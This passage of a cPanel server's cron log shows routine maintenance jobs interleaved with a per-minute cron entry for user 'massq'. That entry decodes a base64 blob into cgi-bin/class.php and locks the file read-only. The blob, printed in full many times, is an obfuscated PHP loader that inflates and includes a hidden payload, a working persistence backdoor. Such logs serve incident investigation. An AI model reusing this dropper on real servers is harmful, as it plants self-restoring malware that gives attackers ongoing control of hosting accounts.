kB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:24:01 server CROND[30326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:24:01 server CROND[30327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:24:01 server CROND[30328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:25:01 server CROND[30729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:25:01 server CROND[30731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:25:01 server CROND[30735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:25:01 server CROND[30748]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:25:01 server CROND[30749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:25:01 server CROND[30741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:25:01 server CROND[30750]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 06:25:01 server CROND[30752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:26:01 server CROND[31644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:26:01 server CROND[31643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:26:01 server CROND[31645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:27:01 server CROND[32037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:27:01 server CROND[32038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:27:01 server CROND[32039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:27:01 server CROND[32040]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 06:28:01 server CROND[32434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:28:01 server CROND[32435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:28:01 server CROND[32436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:29:01 server CROND[475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:29:01 server CROND[477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:29:01 server CROND[476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:30:01 server CROND[902]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 06:30:01 server CROND[903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:30:01 server CROND[905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:30:01 server CROND[909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 06:30:01 server CROND[906]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:30:01 server CROND[908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:30:01 server CROND[911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:30:01 server CROND[910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:31:01 server CROND[1855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:31:01 server CROND[1856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:31:01 server CROND[1857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:32:01 server CROND[2277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:32:01 server CROND[2278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:32:01 server CROND[2279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:33:01 server CROND[2709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:33:01 server CROND[2710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:33:01 server CROND[2711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:34:01 server CROND[3090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:34:01 server CROND[3091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 06:34:01 server CROND[3092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:35:01 server CROND[3476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 06:35:01 server CROND[3484]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 06:35:01 server CROND[3485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:35:01 server CROND[3490]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 06:35:01 server CROND[3497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:35:01 server CROND[3496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0h